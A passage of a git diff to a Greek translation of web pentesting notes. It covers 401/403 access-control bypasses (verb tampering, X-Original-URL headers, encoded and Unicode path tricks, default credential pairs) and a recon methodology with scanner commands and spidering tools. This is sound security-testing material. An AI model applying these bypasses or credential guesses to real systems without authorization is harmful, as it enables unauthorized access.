-### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
+### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Περισσότερα
diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index 9a58dd422..8d9848f14 100644
--- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -6,7 +6,7 @@
Δοκιμάστε να χρησιμοποιήσετε **διαφορετικούς ρήματα** για να αποκτήσετε πρόσβαση στο αρχείο: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
-- Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **200 απόκριση** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **HEAD verb μπορεί να αποκτήσει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
+- Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **200 απόκριση** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **HEAD verb μπορεί να έχει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
- Χρησιμοποιώντας μια HTTP κεφαλίδα όπως `X-HTTP-Method-Override: PUT` μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται.
- Χρησιμοποιήστε το **`TRACE`** ρήμα και αν είστε πολύ τυχεροί ίσως στην απόκριση να δείτε επίσης τις **κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές** που μπορεί να είναι χρήσιμες.
@@ -35,17 +35,17 @@
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
-- Αν η σελίδα είναι **πίσω από έναν διακομιστή μεσολάβησης**, ίσως ο διακομιστής μεσολάβησης να είναι αυτός που σας εμποδίζει να αποκτήσετε πρόσβαση στις ιδιωτικές πληροφορίες. Δοκιμάστε να εκμεταλλευτείτε [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ή** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
+- Αν η σελίδα είναι **πίσω από έναν διακομιστή μεσολάβησης**, ίσως ο διακομιστής μεσολάβησης να είναι αυτός που σας εμποδίζει να αποκτήσετε πρόσβαση στις ιδιωτικές πληροφορίες. Δοκιμάστε να εκμεταλλευτείτε [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **ή** [**κεφαλίδες hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**ειδικές HTTP κεφαλίδες**](special-http-headers.md) αναζητώντας διαφορετική απόκριση.
- **Fuzz ειδικές HTTP κεφαλίδες** ενώ κάνετε fuzzing **HTTP Methods**.
- **Αφαιρέστε την κεφαλίδα Host** και ίσως μπορέσετε να παρακάμψετε την προστασία.
## Path **Fuzzing**
-Αν το _/path_ είναι μπλοκαρισμένο:
+Αν _/path_ είναι μπλοκαρισμένο:
- Δοκιμάστε να χρησιμοποιήσετε _**/**_**%2e/path \_(αν η πρόσβαση είναι μπλοκαρισμένη από έναν διακομιστή μεσολάβησης, αυτό θα μπορούσε να παρακάμψει την προστασία). Δοκιμάστε επίσης**\_\*\* /%252e\*\*/path (διπλή κωδικοποίηση URL)
-- Δοκιμάστε **Unicode bypass**: _/**%ef%bc%8f**path_ (Οι χαρακτήρες κωδικοποιημένοι URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι _//path_ και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος _/path_
+- Δοκιμάστε **Unicode bypass**: _/**%ef%bc%8f**path_ (Οι κωδικοποιημένοι χαρακτήρες URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι _//path_ και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος _/path_
- **Άλλες παρακάμψεις μονοπατιών**:
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
@@ -82,12 +82,12 @@
## **Protocol version**
-Αν χρησιμοποιείτε HTTP/1.1 **δοκιμάστε να χρησιμοποιήσετε 1.0** ή ακόμα και να ελέγξετε αν **υποστηρίζει 2.0**.
+Αν χρησιμοποιείτε HTTP/1.1 **δοκιμάστε να χρησιμοποιήσετε 1.0** ή ακόμα και να ελέγξετε αν υποστηρίζει **2.0**.
## **Other Bypasses**
- Αποκτήστε το **IP** ή **CNAME** του τομέα και δοκιμάστε να **επικοινωνήσετε απευθείας**.
-- Δοκιμάστε να **πιέσετε τον διακομιστή** στέλνοντας κοινές GET αιτήσεις ([Λειτούργησε για αυτόν τον τύπο με το Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
+- Δοκιμάστε να **στρεσάρετε τον διακομιστή** στέλνοντας κοινές GET αιτήσεις ([Λειτούργησε για αυτόν τον τύπο με το Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **Αλλάξτε το πρωτόκολλο**: από http σε https, ή για https σε http
- Πηγαίνετε στο [**https://archive.org/web/**](https://archive.org/web/) και ελέγξτε αν στο παρελθόν αυτό το αρχείο ήταν **παγκοσμίως προσβάσιμο**.
@@ -105,7 +105,7 @@ root toor
test test
guest guest
```
-## Αυτόματες Εργαλεία
+## Αυτόματα Εργαλεία
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 522816f4d..c17a4ccc5 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -17,36 +17,36 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
-### Οδηγίες Web API
+### Web API Guidance
{{#ref}}
web-api-pentesting.md
{{#endref}}
-## Περίληψη Μεθοδολογίας
+## Methodology summary
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή subdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
- [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
- [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
-- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan);
+- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan);
- [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
-- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **σφάλμα 404** και **σάρωση SSL/TLS** (αν είναι HTTPS).
-- [ ] Ξεκινήστε **spidering** τη σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
+- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
+- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._
-- [ ] **Brute-Forcing Φακέλων**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
+- [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
-- [ ] **Έλεγχος Αντιγράφων**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων.
+- [ ] **Έλεγχος αντιγράφων ασφαλείας**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα ασφαλείας** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων ασφαλείας.
- [ ] **Brute-Force παράμετροι**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**.
- [ ] Μόλις έχετε **ταυτοποιήσει** όλα τα πιθανά **endpoints** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό.
- [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md)
-## Έκδοση Server (Ευάλωτη;)
+## Server Version (Vulnerable?)
-### Ταυτοποίηση
+### Identify
-Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
+Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που είναι σε λειτουργία.\
Οι **HTTP headers και τα cookies της απάντησης** θα μπορούσαν να είναι πολύ χρήσιμα για να **ταυτοποιήσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **σάρωση Nmap** μπορεί να ταυτοποιήσει την έκδοση του server, αλλά θα μπορούσαν επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 #Stealthy
@@ -54,24 +54,24 @@ whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-Αναζητήστε **για** [**ευπάθειες της έκδοσης της διαδικτυακής εφαρμογής**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
-### **Ελέγξτε αν υπάρχει WAF**
+### **Έλεγχος αν υπάρχει WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
-### Τεχνάσματα διαδικτύου
+### Web tech tricks
-Ορισμένα **τεχνάσματα** για **να βρείτε ευπάθειες** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
+Ορισμένα **tricks** για **finding vulnerabilities** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
- [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
- [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
- [**Flask**](flask.md)
- [**Git**](git.md)
- [**Golang**](golang.md)
@@ -86,39 +86,39 @@ webanalyze -host https://google.com -crawl 2
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
-- [**PHP (το php έχει πολλά ενδιαφέροντα τρικ που θα μπορούσαν να εκμεταλλευτούν)**](php-tricks-esp/)
+- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
- [**VMWare**](vmware-esx-vcenter....md)
- [**Web API Pentesting**](web-api-pentesting.md)
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS σε RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
-Εάν η διαδικτυακή εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **τεχνολογία/πλατφόρμα που αναφέρεται παραπάνω** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **αναζητήσετε στο Διαδίκτυο** νέες τεχνικές (και ενημερώστε με!).
+Αν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
-### Ανασκόπηση Πηγαίου Κώδικα
+### Source Code Review
-Εάν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
+Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
-- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **πληροφορίες έκδοσης προσβάσιμες** μέσω διαδικτύου;
-- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς πρόσβασης);
-- Είναι οι **κωδικοί πρόσβασης** σε **καθαρό κείμενο**, **κρυπτογραφημένοι** ή ποιος **αλγόριθμος κατακερματισμού** χρησιμοποιείται;
-- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιος **αλγόριθμος** χρησιμοποιείται;
-- Μπορείτε να **πρόσβαση σε οποιοδήποτε από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια;
-- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **ζητήματα**; Ή στην **ιστορία commit** (ίσως κάποιο **password που εισήχθη σε ένα παλιό commit**) ;
+- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
+- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς);
+- Είναι οι **κωδικοί** σε **plain text**, **encrypted** ή ποιο **hashing algorithm** χρησιμοποιείται;
+- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιο **algorithm** χρησιμοποιείται;
+- Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια;
+- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ;
{{#ref}}
code-review-tools.md
{{#endref}}
-### Αυτόματοι σαρωτές
+### Automatic scanners
-#### Αυτόματοι σαρωτές γενικής χρήσης
+#### Γενικής χρήσης αυτόματοι σαρωτές
```bash
nikto -h
whatweb -a 4
@@ -134,18 +134,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Αν χρησιμοποιείται ένα CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρείτε κάτι ενδιαφέρον:
-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** ιστοσελίδες για θέματα Ασφαλείας. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ή** [**(M)oodle**](moodle.md)\
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστοσελίδες για θέματα Ασφαλείας. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d
wpscan --force update -e --url
joomscan --ec -u
joomlavs.rb #https://github.com/rastating/joomlavs
```
-> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, μπορεί να έχετε βρει ακόμη και ένα CMS και να έχετε τρέξει κάποιο scanner.
+> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες σχετικά με τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, μπορεί να έχετε βρει ακόμη και ένα CMS και να έχετε τρέξει κάποιο scanner.
## Βήμα-βήμα Ανακάλυψη Εφαρμογής Ιστού
@@ -178,7 +178,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- **Brute Force** διαπιστευτήρια
- **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους.
-### **SSL/TLS ευπάθειες**
+### **Ευπάθειες SSL/TLS**
- Αν η εφαρμογή **δεν αναγκάζει τον χρήστη να χρησιμοποιεί HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
- Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
@@ -199,32 +199,32 @@ sslyze --regular
### Spidering
-Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.
+Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρουν όσο το δυνατόν περισσότερους έγκυρους δρόμους.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλώς να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες απόδοσης JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες rendering JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες απόδοσης JS.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για κυνηγούς σφαλμάτων, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX αιτημάτων. Φαίνεται ότι δεν συντηρείται.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες rendering JS.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα ήταν επίσης χρήσιμο να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
- [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη wayback και αναζητώντας περισσότερους συνδέσμους).
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες κανονικές εκφράσεις.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφερόντων δεδομένων από τον πηγαίο κώδικα JavaScript.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει.
@@ -264,14 +264,14 @@ sslyze --regular
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
+_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να υποβληθεί σε Brute-Force._
### Τι να ελέγξετε σε κάθε αρχείο που βρέθηκε
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις.
